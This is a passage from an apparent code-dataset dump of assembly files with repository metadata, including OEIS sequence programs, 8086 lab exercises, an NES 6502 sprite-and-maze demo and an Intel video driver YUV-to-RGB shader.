] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A037582: Decimal expansion of a(n) is given by the first n terms of the periodic sequence with initial period 1,3.
; Submitted by Jon Maiga
; 1,13,131,1313,13131,131313,1313131,13131313,131313131,1313131313,13131313131,131313131313,1313131313131,13131313131313,131313131313131,1313131313131313,13131313131313131,131313131313131313,1313131313131313131,13131313131313131313
add $0,1
mov $1,10
pow $1,$0
div $1,9
mov $0,$1
mul $0,12
add $0,$1
div $0,11
| 34.846154 | 231 | 0.799117 |
03238bae7fd8ef8cfd2a51fbb2836df0d34129e6 | 485 | asm | Assembly | Microprocessor_Interfacing_CSE_2006/Applications_Lab_10/divisibility.asm | aadhityasw/VIT-Labs | 2c449f64f4fdd8c0ed5f2b51d05a7c586e6ab2ab | [
"CC0-1.0"
] | 2 | 2021-11-18T05:30:24.000Z | 2022-03-07T06:28:06.000Z | Microprocessor_Interfacing_CSE_2006/Applications_Lab_10/divisibility.asm | aadhityasw/VIT-Labs | 2c449f64f4fdd8c0ed5f2b51d05a7c586e6ab2ab | [
"CC0-1.0"
] | null | null | null | Microprocessor_Interfacing_CSE_2006/Applications_Lab_10/divisibility.asm | aadhityasw/VIT-Labs | 2c449f64f4fdd8c0ed5f2b51d05a7c586e6ab2ab | [
"CC0-1.0"
] | 3 | 2021-10-14T01:10:34.000Z | 2022-03-18T14:33:52.000Z | ASSUME CS:CODE,DS:DATA
DATA SEGMENT
arr db 31d, 23d, 61d, 23d, 44d, 00d
count db 00h
DATA ENDS
CODE SEGMENT
START:
mov ax,DATA
mov ds,ax
mov cx,06h
mov bl,00h
mov bh,04d
mov si, OFFSET arr
L1:
mov ax,0000h
mov al,[si]
add si,01h
div bh
cmp ah,00h
jne L2
inc bl
L2:
loop L1
mov ax,0000h
mov ah,02h
add bl,48d
mov dl,bl
int 21h
hlt
CODE ENDS
END START | 15.645161 | 39 | 0.527835 |
fc0e64981a2a5523ee1d9db7665c425c46f35515 | 782 | asm | Assembly | soft3.asm | Euno257/VTU-Microprocessor-and-Microcontroller-LAB-Programs | 3ae4bc4da1262fad1bd4e3865ffe47c4d7485582 | [
"MIT"
] | 1 | 2021-04-20T03:18:33.000Z | 2021-04-20T03:18:33.000Z | soft3.asm | Euno257/VTU-Microprocessor-and-Microcontroller-LAB-Programs | 3ae4bc4da1262fad1bd4e3865ffe47c4d7485582 | [
"MIT"
] | null | null | null | soft3.asm | Euno257/VTU-Microprocessor-and-Microcontroller-LAB-Programs | 3ae4bc4da1262fad1bd4e3865ffe47c4d7485582 | [
"MIT"
] | null | null | null | .MODEL SMALL
.DATA
A DW 1122H,2345H,3333H,4455H,6666H
LEN DW ($-A)/2
SRCH EQU 2345H
SUCMSG DB 10,13,'ELEMENT FOUND AT POSITION: '
RES DB ?,'$'
FAILMSG DB 10,13,'ELEMENT NOT FOUND $'
.CODE
MOV AX,@DATA
MOV DS,AX
MOV BX,1
MOV CX,SRCH
MOV DX,LEN
AGAIN: CMP BX,DX
JA FAILURE
MOV AX,BX
ADD AX,DX
SHR AX,1
MOV SI,AX
DEC SI
ADD SI,SI
CMP CX,A[SI]
JAE BIGGER
DEC AX
MOV DX,AX
JMP AGAIN
BIGGER: JE SUCCESS
INC AX
MOV BX,AX
JMP AGAIN
SUCCESS: MOV AL, '0'
MOV RES, AL
LEA DX,SUCMSG
JMP EXIT
FAILURE: LEA DX, FAILMSG
EXIT: MOV AH,09H
INT 21H
MOV AH,4CH
INT 21H
END
| 15.038462 | 51 | 0.506394 |
f173cecffef6f16ea1b4be4f0e1224b5000cfd01 | 884 | asm | Assembly | programs/oeis/169/A169611.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/169/A169611.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/169/A169611.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A169611: Number of prime divisors of n that are not greater than 3, counted with multiplicity.
; 0,1,1,2,0,2,0,3,2,1,0,3,0,1,1,4,0,3,0,2,1,1,0,4,0,1,3,2,0,2,0,5,1,1,0,4,0,1,1,3,0,2,0,2,2,1,0,5,0,1,1,2,0,4,0,3,1,1,0,3,0,1,2,6,0,2,0,2,1,1,0,5,0,1,1,2,0,2,0,4,4,1,0,3,0,1,1,3,0,3,0,2,1,1,0,6,0,1,2,2,0,2,0,3,1,1,0,5,0,1,1,4,0,2,0,2,2,1,0,4,0,1,1,2,0,3,0,7,1,1,0,3,0,1,3,3,0,2,0,2,1,1,0,6,0,1,1,2,0,2,0,3,2,1,0,3,0,1,1,5,0,5,0,2,1,1,0,4,0,1,2,2,0,2,0,4,1,1,0,4,0,1,1,3,0,2,0,2,3,1,0,7,0,1,1,2,0,3,0,3,1,1,0,3,0,1,2,4,0,2,0,2,1,1,0,6,0,1,1,2,0,2,0,5,2,1,0,3,0,1,1,3,0,3,0,2,1,1,0,5,0,1,5,2,0,2,0,3,1,1
mov $3,$0
mov $5,2
lpb $5,1
clr $0,3
mov $0,$3
sub $5,1
add $0,$5
mov $1,$0
lpb $0,1
div $1,3
add $2,$1
add $2,$0
div $0,2
lpe
mov $1,$2
mov $6,$5
lpb $6,1
mov $4,$1
sub $6,1
lpe
lpe
lpb $3,1
mov $3,0
sub $4,$1
lpe
mov $1,$4
sub $1,1
| 28.516129 | 501 | 0.512443 |
6724784693742495922709316ceeb427eac6432d | 17,875 | asm | Assembly | roms/ppu/bkg/bkg.asm | flga/vnes | fe8b504e5b780ff51add570d1bcc400d48248077 | [
"Unlicense"
] | 1 | 2019-02-28T12:11:33.000Z | 2019-02-28T12:11:33.000Z | roms/ppu/bkg/bkg.asm | flga/vnes | fe8b504e5b780ff51add570d1bcc400d48248077 | [
"Unlicense"
] | null | null | null | roms/ppu/bkg/bkg.asm | flga/vnes | fe8b504e5b780ff51add570d1bcc400d48248077 | [
"Unlicense"
] | null | null | null | ; A graphics test (first)
; This to be assembled using the NES Assembler.
; Copyright (C) 2003 Justin Patrick "Beneficii" Butler
.inesprg 1 ; Only 16kb PRG-ROM needed.
.ineschr 1 ; Only 8kb CHR-ROM needed.
.inesmir 0 ; No (though set to horizontal) mirroring needed.
.inesmap 0 ; No mappers needed.
.zp ; Declaring zero page variables
address_lo = $00
address_hi = $01
a.button = $02
b.button = $03
select.button = $04
start.button = $05
up.button = $06
down.button = $07
left.button = $08
right.button = $09
y.move = $0a
x.move = $0b
y.pos = $0c
x.pos = $0d
temp = $0e
curtile = $0f
nmiflag = $10
read.lo = $11
read.hi = $12
move.type.1 = $13
move.type.2 = $14
sound.flag = $15
check.sound.flag = $16
.bss ; Declaring page seven sprite variables
sprite.y = $0700
sprite.tile = $0701
sprite.attributes = $0702
sprite.x = $0703
.code ; Stajmp finish_nming code with .org at $8000. It doesn't really matter which I pick, because
.org $8000 ; the code is copied into the PRG-ROM twice. (That is, $8000 or $C000.)
wait_vblank: ; Wait for VBlank to be turned on.
lda $2002
bpl wait_vblank
rts
main: ; Begin the RESET routine.
sei ; The usual, setting the interrupt disable flag and
cld ; clearing the decimal mode flag.
ldx #$ff ; Set x to $FF.
txs ; Transfer $FF to the stack, thereby resetting it.
jsr wait_vblank ; Wait for VBlank before turning off the screen.
lda #$00 ; Turning
sta $2000 ; the screen
sta $2001 ; off
inx ; Getting ready to clear the zero page memory.
clearzp:
sta <$00, x ; No need to reload the accumulator, because I know it's zero.
inx ; Increment. Needs to go through all 256 bytes of the zero page memory.
bne clearzp ; Go back if not finished (if x is not yet back to zero).
ldx #$07 ; Getting ready to clear the seven other pages of WRAM,
ldy #$01 ; to ensure that they are clear (the real NES probably
sty <address_hi ; has all sorts of strange, loaded values at the start).
dey ; Am going to use indirect addressing to accomplish so.
sty <address_lo ; I will begin at $100 and end at $7FF
clearwram:
sta [address_lo], y ; There is no need to set the accumulator to zero, because it is already.
iny ; Increment y.
bne clearwram ; If not yet zero again, then go back.
inc address_hi ; Increment the address indicating that it is time to go the next page.
dex ; Count down to zero.
bne clearwram ; Go back if not done.
ldy #$20 ; Getting ready to load the palette.
ldx #$3f ; Loading the variables.
stx $2006 ; Reading to $2006, high byte first.
ldx #$00 ; Putting
stx $2006 ; low byte in.
loadpal:
lda paldata, x ; Loading the palette data, which is located
sta $2007 ; elsewhere in the PRG-ROM byte by byte.
inx ; Read further into the data.
dey ; Decrement y until it is done.
bne loadpal ; There are $20 bytes to load, so y starts at $20.
lda $2002 ; Reset $2006 (since it hasn't been yet).
stx $2006 ; x I know is 20 from the last loop, and
sty $2006 ; y I know is 00 from the last loop, so
; I can set $2006 to VRAM $2000
ldx #$08 ; Getting ready to clear the first two name tables of the PPU
tya ; (the other two are mirrors, so there is no need).
clearppu:
sta $2007 ; Storing 0 in there to make sure it is cleared.
iny ; Go to next byte.
bne clearppu
dex ; Get to next page.
bne clearppu
jsr wait_vblank ; Some emulators, such as NESticle, have problems if I don't
; wait for VBlank after clearing the PPU, so I might as well.
ldx #$20 ; $2002 has already been read to reset $2006 (wait_vblank),
stx $2006 ; so there is no need to do so again.
sty $2006
ldx #$04
lda #low(mapdata) ; Getting ready to load the maze data.
sta <address_lo ; Prepping for use of indirect addressing.
lda #high(mapdata)
sta <address_hi
loadmap:
lda [address_lo], y ; Loading name and attribute tables #1.
sta $2007 ; No need for name and attribute tables #2, as I will not
iny ; be scrolling in this ROM.
bne loadmap
inc <address_hi
dex
bne loadmap
lda #212 ; Putting the sprite together
sta <y.pos ; to be placed on the screen.
sta sprite.y ; Done 216 - 4, so that the sprite's feet
lda #016 ; are in the middle of the tiles
sta <x.pos ; rather than the edge.
sta sprite.x
ldx #001
stx sprite.tile
dex
stx sprite.attributes
stx $2003 ; Reset $4014
lda #$07 ; Loading the sprites
sta $4014 ; "automagically."
lda #%10001000 ; Turning the screen back on so you can actually see something.
sta $2000
lda #%00011110
sta $2001
eternity: ; It's a good idea now to throw the RESET routine into an eternal loop,
jmp eternity ; otherwise it'll go on like crazy. ~_^
store_y: ; In case the sprite is moving up or down.
lda #low(sprite.y) ; This ensures that the code below knows that
sta <read.lo ; and writes to the right sprite variable.
lda #high(sprite.y)
sta <read.hi
lda #$00
sta <y.move
sta <x.move
jmp animate_movement
store_x: ; Same as above, except for moving right or left.
lda #low(sprite.x)
sta <read.lo
lda #high(sprite.x)
sta <read.hi
lda #$00
sta <y.move
sta <x.move
jmp animate_movement
update_sprites: ; Check in which direction the sprite is moving, if any.
lda <y.move
bne store_y
lda <x.move
bne store_x
sta <nmiflag ; If the sprite isn't moving, then
sta <read.lo ; just go ahead and clear the useless
sta <read.hi ; flags before they hurt someone. ~_^
sta <move.type.1
sta <move.type.2
ldx <sound.flag ; If the sound flag is activated (see below), then
bne allow_beep2 ; prevent it from being deactivated.
jmp do_still_move
allow_beep2: ; You see, in the first NMI (this is the second), if the sprite
inx ; goes over the "finish" tile, then flag is activated, which signals
stx <sound.flag ; this NMI to give the first the go-ahead to play the tone
stx <check.sound.flag ; for going over the "finish" tile come the first's return.
do_still_move: ; In case the sprite changed direction and is facing
lda #$00 ; an obstruction.
sta $2003
lda #$07
sta $4014
jmp finish_nmi ; Finish this NMI.
animate_movement: ; In case the sprite is moving its position.
lda #$00 ; Ensuring these are cleared.
tax
tay
lda sprite.tile ; Load the appropriate tile for the sprite.
clc ; The initial values are set in the first NMI.
adc #$02 ; Clear the carry flag and add two (left foot out first for the sprite).
sta sprite.tile
lda [read.lo], y ; Add or subtract two (set in the first NMI)
clc ; to the sprite.pos value.
adc <move.type.1 ; Of course this is done by indirect addressing,
sta [read.lo], y ; so I don't have to keep checking to see, if I'm changing
inc <nmiflag ; the x or y positions of the sprite.
sty $2003
lda #$07 ; Store the updated sprite
sta $4014 ; into the SPR-RAM.
jmp finish_nmi ; Terminate this NMI without further ado.
third_frame: ; Same as last, except that the sprite.pos
lda #$00 ; is incremented or decremented by four.
tax
tay
ldx sprite.tile ; Load the sprite.tile into x (so I can easily decrement).
dex ; This will cause the sprite to step out with his right foot.
stx sprite.tile
lda [read.lo], y
clc
adc <move.type.2
sta [read.lo], y
inc <nmiflag
sty $2003
lda #$07
sta $4014
jmp finish_nmi
fourth_frame: ; Pretty much the same
lda #$00
tax
tay
ldx sprite.tile ; Add or subtract 2 to the sprite.pos this time, in order to
dex ; make the complete 8 pixels.
stx sprite.tile ; Also decrement the sprite's tile to make it stand still
lda [read.lo], y ; when its movement is finished.
clc
adc <move.type.1
sta [read.lo], y
sty <nmiflag ; Clear these, because we are done with them.
sty <read.lo ; Reset the NMI flag to zero so as to go to the
sty <read.hi ; first NMI next NMI.
sty <move.type.1
sty <move.type.2
ldx <sound.flag ; If the sound flag is activated, then do the "allow_beep" thing.
bne allow_beep
jmp final_write
allow_beep: ; I'll explain the check sound flag below.
inx
stx <sound.flag
stx <check.sound.flag
final_write: ; Perform the final sprite write. ^_^
sty $2003
lda #$07
sta $4014
jmp finish_nmi ; Terminate, O final NMI!
send_me: ; If the NMI flag is not zero, then go here,
lda <nmiflag ; because it is not the first NMI.
cmp #$02
beq third_frame
lda <nmiflag
cmp #$03
beq fourth_frame
jmp update_sprites
nmi: ; Start the NMI code.
pha ; Store the accumulator and the x and y registers in the stack to
txa ; prevent them from being destroyed by the code here in case that this
pha ; NMI interrupted RESET code.
tya ; (Advised to do that by someone on nesdev.parodius.com
pha ; "Membled" messageboards
lda $2002 ; Set $2006 to $0000 each NMI to prevent the background display
lda #$00 ; from being messed up. Thanks (^_^) to the ever-helpful Memblers
sta $2006 ; for his advice on that one. Now the sprite's feet are in the
sta $2006 ; middle of the tile in every emulator (and probably the real thing)!
lda <nmiflag ; If the NMI flag is anything but zero, then go to the handler.
bne send_me ; This was the result of the appendaging of the animation and sound codes.
ldx #$01 ; Strobe the game controller.
stx $4016
dex
stx $4016 ; Reset it.
ldy #$08 ; Prepare to read it.
read_buttons: ; Reading it.
lda $4016 ; a.button is the first in the variable array,
and #$01 ; so we just read it from there.
sta <a.button, x ; Fix it so we just have bit 0 of it.
inx
dey
bne read_buttons
lda #$00 ; Have accumulator=zero, so first writes are zero.
ldx <up.button ; Test if buttons have been pressed.
bne up
ldx <down.button
bne down
ldx <right.button
bne right
ldx <left.button
bne left
sta <y.move ; If they have not.
sta <x.move
jmp continue
up: ; If the player pressed up.
sta <x.move ; Clear x.move.
lda #$f8 ; Signal to decrement (not increment) 8
sta <y.move ; by taking advantage of the sign bit (number 7).
lda #$fe ; For the second and fourth NMI's,
sta <move.type.1 ; it is to move backward (not forward two).
lda #$fc ; For the third NMI,
sta <move.type.2 ; it is to move backward (not forward two).
lda #$40 ; Since I'm moving up, it will not look like
sta sprite.attributes ; the first foot is left. So I flip it (bit attributes.6).
lda #$01 ; Always do still tile first.
sta sprite.tile
jmp continue
down: ; Same as above, except that everything is opposite.
sta <x.move
sta sprite.attributes
lda #$08
sta <y.move
lda #$02
sta <move.type.1
lda #$04
sta <move.type.2
lda #$01
sta sprite.tile
jmp continue
left: ; Same as above, except that things are suited for left-right.
sta <y.move ; The unflipped sprite in this faces left.
sta sprite.attributes
lda #$f8
sta <x.move
lda #$fe
sta <move.type.1
lda #$fc
sta <move.type.2
lda #$04
sta sprite.tile
jmp continue
right: ; You get my drift.
sta <y.move
lda #$08
sta <x.move
lda #$02
sta <move.type.1
lda #$04
sta <move.type.2
lda #$40
sta sprite.attributes
lda #$04
sta sprite.tile
continue:
lda #$00 ; This was to put in, to ensure that sound was disabled.
sta $4015 ; Didn't know much about it, so I took that precaution.
sta <address_hi ; This was not designed to be a sound player, but I wanted
lda <x.pos ; to tinker with playing at least a tone when you get to the
clc ; "finish" tile.
adc <x.move ; This batch of code tests whether there will be an obstruction
sta <address_lo ; in the characters path if he moves in whatever direction he
lda <y.pos ; was gonna.
clc ; Ensure that address_hi is cleared, and store the x position
adc <y.move ; to address_lo.
clc ; Also we calculate the proposed position to get it ready.
adc #004 ; Add four to the y.move to get it in line with its true "spot."
sta <temp ; That was four off so the characters feet could be in the middle of the tile.
ldx #$03 ; Store in temp, because we have a lot more work to do with it.
ldy #$02 ; Prep vars for next two subroutines.
set_address_x: ; Divide x by 8 (by shifting right 3).
lsr <address_lo ; This ensures that the x tile position (0-31) is set up properly
dex ; for obstruction checking.
bne set_address_x
set_address_y: ; Get the y part ready. It is spread over more than 2 bytes
asl <temp ; so I can OR it and get the true position in the mapdata,
rol <address_hi ; for which the sprite's movement is proposed.
dey
bne set_address_y
lda <temp ; Store in upper 3 bits of address_lo.
ora <address_lo
sta <address_lo
clc ; Add the mapdata position to its true address,
lda #low(mapdata) ; so as to read from the spot the character is headed.
adc <address_lo
sta <address_lo
lda #high(mapdata)
adc <address_hi
sta <address_hi
lda [address_lo], y ; With indirect addressing, I needed to put that useless y,
sta <curtile ; so think nothing of it.
tax ; The cujmp finish_nmile part was part of testing, and I decided not to remove it.
dex
beq delete_move ; "Delete" the move if the tile was an obstruction (ID #1)
dex
beq chk_flag ; Do the sound if "finish" tile (ID #2)
sty <check.sound.flag
jmp finish
chk_flag: ; I had to do the check flag, so as to see if the second (or fourth)
lda <check.sound.flag ; NMI "approved" the sound being played.
beq snd_flag ; This was in case the sprite stood still after moving
jmp finish ; into the "finish" tile, so the player would not have to move it
; back out of the tile to actually play the sound.
snd_flag ; This turns on the sound flag.
ldx #$01 ; This flag goes onto the second (or fourth) NMI, which then
stx <sound.flag ; "approves" it by sending a two back to the first NMI.
jmp finish
delete_move: ; If an obstruction was in the sprite's way.
sty <y.move ; It sets these "flags" to zero to indicate no movement.
sty <x.move
finish: ; Finishing this.
lda <y.pos ; Might as well go ahead and store the positions
clc ; in the "unofficial" memory locations.
adc <y.move
sta <y.pos
lda <x.pos
clc
adc <x.move
sta <x.pos
inc <nmiflag ; Signal second NMI coming up.
ldx <sound.flag ; Branch to beep if the second (or fourth) NMI approved
cpx #$02 ; the tone being played.
beq beep
jmp finish_nmi ; Terminate this first NMI.
beep: ; Do the sound channel crap finally!
lda #$01 ; Make that beep!
sta $4015
lda #$0f
sta $4000
lda #$00
sta $4001
lda #$10
sta $4002
lda #$12
sta $4003
lda #$00
sta <sound.flag
finish_nmi: ; Terminate these NMI's.
pla
tay
pla
tax
pla
rti
brk: ; Now beginning the IRQ/BRK routine.
rti ; Terminate the IRQ/BRK routine if it is ever needed.
paldata: .incbin "all.pal" ; Include palette in the PRG-ROM.
mapdata: .incbin "bkg.map" ; Including the maze in the PRG-ROM.
.bank 1 ; Do the vector tables.
.org $FFFA
.dw nmi
.dw main
.dw brk
.bank 2 ; Do the CHR-ROM.
.incbin "bkg.chr" ; The background tiles for the "left half."
.incbin "spr.chr" ; The sprite tiles for the "right half."
; EOF!
| 35.536779 | 118 | 0.583664 |
6aae1a5f7117944485b3c81a2aeee8f4c938a4ef | 6,352 | asm | Assembly | src/shaders/post_processing/gen5_6/Common/YUV_to_RGBX_Coef.asm | me176c-dev/android_hardware_intel-vaapi-driver | 0f2dca8d604220405e4678c0b6c4faa578d994ec | [
"MIT"
] | 192 | 2018-01-26T11:51:55.000Z | 2022-03-25T20:04:19.000Z | src/shaders/post_processing/gen5_6/Common/YUV_to_RGBX_Coef.asm | me176c-dev/android_hardware_intel-vaapi-driver | 0f2dca8d604220405e4678c0b6c4faa578d994ec | [
"MIT"
] | 256 | 2017-01-23T02:10:27.000Z | 2018-01-23T10:00:05.000Z | src/shaders/post_processing/gen5_6/Common/YUV_to_RGBX_Coef.asm | me176c-dev/android_hardware_intel-vaapi-driver | 0f2dca8d604220405e4678c0b6c4faa578d994ec | [
"MIT"
] | 64 | 2018-01-30T19:51:53.000Z | 2021-11-24T01:26:14.000Z | /*
* All Video Processing kernels
* Copyright © <2010>, Intel Corporation.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sub license, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice (including the
* next paragraph) shall be included in all copies or substantial portions
* of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
* IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* This file was originally licensed under the following license
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Authors:
* Halley Zhao <halley.zhao@intel.com>
*/
// Module name: YUV_to_RGBX_Coef.asm
//----------------------------------------------------------------
#define ubDEST_RGBX ubTOP_Y // I'd like use them for color conversion
// is dst surface |R|G|B|X| layout? otherwise, it is |B|G|R|X| layout
and.nz.f0.1 (1) dNULLREG r1.2:ud 0xFF000000:ud
#ifdef FIX_POINT_CONVERSION
// ###### set up transformation coefficient
// R = clip(( 298 * C + 0 * D + 409 * E + 128) >> 8)
// R = clip((0x012A * C + 0 * D + 0x0199 * E + 128) >> 8)
(-f0.1) mov (1) REG2(r, nTEMP0, 0):ud 0x0000012A:ud
(-f0.1) mov (1) REG2(r, nTEMP0, 1):ud 0x00000199:ud
( f0.1) mov (1) REG2(r, nTEMP0, 4):ud 0x0000012A:ud
( f0.1) mov (1) REG2(r, nTEMP0, 5):ud 0x00000199:ud
// G = clip(( 298 * C - 100 * D - 208 * E + 128) >> 8)
// G = clip(( 0x012A * C - 0x64 * D - 0xD0 * E + 128) >> 8)
// G = clip(( 0x012A * C + 0xFF9C * D + 0xFF30 * E + 128) >> 8)
mov (1) REG2(r, nTEMP0, 2):ud 0xFF9C012A:ud
mov (1) REG2(r, nTEMP0, 3):ud 0x0000FF30:ud
// B = clip(( 298 * C + 516 * D + 0 * E + 128) >> 8)
// B = clip((0x012A* C + 0x0204 * D + 0 * E + 128) >> 8)
(-f0.1) mov (1) REG2(r, nTEMP0, 4):ud 0x0204012A:ud
(-f0.1) mov (1) REG2(r, nTEMP0, 5):ud 0x00000000:ud
( f0.1) mov (1) REG2(r, nTEMP0, 0):ud 0x0204012A:ud
( f0.1) mov (1) REG2(r, nTEMP0, 1):ud 0x00000000:ud
// asr.sat (24) REG2(r,nTEMP0,0)<1> REG2(r,nTEMP0,0)<0;24,1> 1:w
asr.sat (8) REG2(r,nTEMP0, 0)<1>:w REG2(r,nTEMP0, 0)<0;8,1>:w 1:w
asr.sat (4) REG2(r,nTEMP0,8)<1>:w REG2(r,nTEMP0,8)<0;4,1>:w 1:w
// C = Y' - 16 D = U - 128 E = V - 128
mov (1) REG2(r, nTEMP0, 6):ud 0x008080F0:ud
#define wYUV_to_RGB_CH2_Coef_Fix REG2(r, nTEMP0, 0)
#define wYUV_to_RGB_CH1_Coef_Fix REG2(r, nTEMP0, 4)
#define wYUV_to_RGB_CH0_Coef_Fix REG2(r, nTEMP0, 8)
#define bYUV_OFF REG2(r,nTEMP0,24)
// debug use
#define bYUV_to_RGB_CH2_Coef_Fix REG2(r, nTEMP0, 0)
#define bYUV_to_RGB_CH1_Coef_Fix REG2(r, nTEMP0, 8)
#define bYUV_to_RGB_CH0_Coef_Fix REG2(r, nTEMP0, 16)
#else
// R = Y + 1.13983*V
// R = clip( Y + 1.402*(Cr-128)) // ITU-R
(-f0.1) mov (1) REG2(r, nTEMP8, 3):f 0.000f // A coef
(-f0.1) mov (1) REG2(r, nTEMP8, 2):f 1.402f // V coef
(-f0.1) mov (1) REG2(r, nTEMP8, 1):f 0.0f // U coef
(-f0.1) mov (1) REG2(r, nTEMP8, 0):f 1.0f // Y coef
( f0.1) mov (1) REG2(r, nTEMP10, 3):f 0.000f // A coef
( f0.1) mov (1) REG2(r, nTEMP10, 2):f 1.402f // V coef
( f0.1) mov (1) REG2(r, nTEMP10, 1):f 0.0f // U coef
( f0.1) mov (1) REG2(r, nTEMP10, 0):f 1.0f // Y coef
// G = Y - 0.39465*U - 0.58060*V
// G = clip( Y - 0.344*(Cb-128) - 0.714*(Cr-128))
mov (1) REG2(r, nTEMP8, 7):f 0.000f // A coef
mov (1) REG2(r, nTEMP8, 6):f -0.714f // V coef
mov (1) REG2(r, nTEMP8, 5):f -0.344f // U coef
mov (1) REG2(r, nTEMP8, 4):f 1.0f // Y coef
// B = Y + 2.03211*U
// B = clip( Y + 1.772*(Cb-128))
(-f0.1) mov (1) REG2(r, nTEMP10, 3):f 0.000f // A coef
(-f0.1) mov (1) REG2(r, nTEMP10, 2):f 0.0f // V coef
(-f0.1) mov (1) REG2(r, nTEMP10, 1):f 1.772f // U coef
(-f0.1) mov (1) REG2(r, nTEMP10, 0):f 1.0f // Y coef
( f0.1) mov (1) REG2(r, nTEMP8, 3):f 0.000f // A coef
( f0.1) mov (1) REG2(r, nTEMP8, 2):f 0.0f // V coef
( f0.1) mov (1) REG2(r, nTEMP8, 1):f 1.772f // U coef
( f0.1) mov (1) REG2(r, nTEMP8, 0):f 1.0f // Y coef
mov (1) REG2(r, nTEMP10, 4):ud 0x008080F0:ud
#define fYUV_to_RGB_CH2_Coef_Float REG2(r, nTEMP8, 0)
#define fYUV_to_RGB_CH1_Coef_Float REG2(r, nTEMP8, 4)
#define fYUV_to_RGB_CH0_Coef_Float REG2(r, nTEMP10, 0)
#define bYUV_OFF REG2(r,nTEMP10,16)
.declare fROW_YUVA Base=REG(r,nTEMP0) ElementSize=4 SrcRegion=REGION(8,8) Type=f // r nTEMP0 - r nTEMP7
#endif
| 48.861538 | 116 | 0.553999 |
7314f3a027f970ba46d7e21196801da55aba0e6a | 1,245 | asm | Assembly | programs/oeis/122/A122795.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/122/A122795.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/122/A122795.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A122795: Connell (5,3)-sum sequence (partial sums of the (5,3)-Connell sequence)
; 1,3,10,22,39,57,80,108,141,179,222,270,319,373,432,496,565,639,718,802,891,985,1080,1180,1285,1395,1510,1630,1755,1885,2020,2160,2305,2455,2610,2766,2927,3093,3264,3440,3621,3807,3998,4194,4395,4601,4812,5028,5249,5475,5706,5938,6175,6417,6664,6916,7173,7435,7702,7974,8251,8533,8820,9112,9409,9711,10018,10330,10647,10969
mov $14,$0
mov $16,$0
add $16,1
lpb $16,1
clr $0,14
mov $0,$14
sub $16,1
sub $0,$16
mov $11,$0
mov $13,$0
add $13,1
lpb $13,1
mov $0,$11
sub $13,1
sub $0,$13
mov $7,$0
mov $9,2
lpb $9,1
mov $0,$7
sub $9,1
add $0,$9
sub $0,1
mov $2,$0
lpb $2,1
mov $5,10
lpb $4,1
mov $1,$2
sub $4,$4
mov $5,$0
lpe
add $0,$1
lpb $5,1
sub $0,2
trn $4,1
add $4,4
trn $5,$4
lpe
sub $2,$1
lpe
mov $1,$0
mov $10,$9
lpb $10,1
mov $8,$1
sub $10,1
lpe
lpe
lpb $7,1
mov $7,0
trn $8,$1
lpe
mov $1,$8
div $1,2
mul $1,4
add $1,1
add $12,$1
lpe
add $15,$12
lpe
mov $1,$15
| 19.761905 | 324 | 0.493976 |
2341bba22999042534af65f34fe823ddfb5b12fe | 305 | asm | Assembly | libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sdcc_ix/tshc_scroll_wc_up.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sdcc_ix/tshc_scroll_wc_up.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sdcc_ix/tshc_scroll_wc_up.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; void tshc_scroll_wc_up(struct r_Rect8 *r, uchar rows, uchar attr)
SECTION code_clib
SECTION code_arch
PUBLIC _tshc_scroll_wc_up
EXTERN l0_tshc_scroll_wc_up_callee
_tshc_scroll_wc_up:
pop af
pop bc
pop de
push de
push bc
push af
ld l,d
jp l0_tshc_scroll_wc_up_callee
| 13.863636 | 67 | 0.740984 |
ad9b5a8f2ca694722dabcaba4e97f72f4edc70b6 | 700 | asm | Assembly | oeis/140/A140413.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
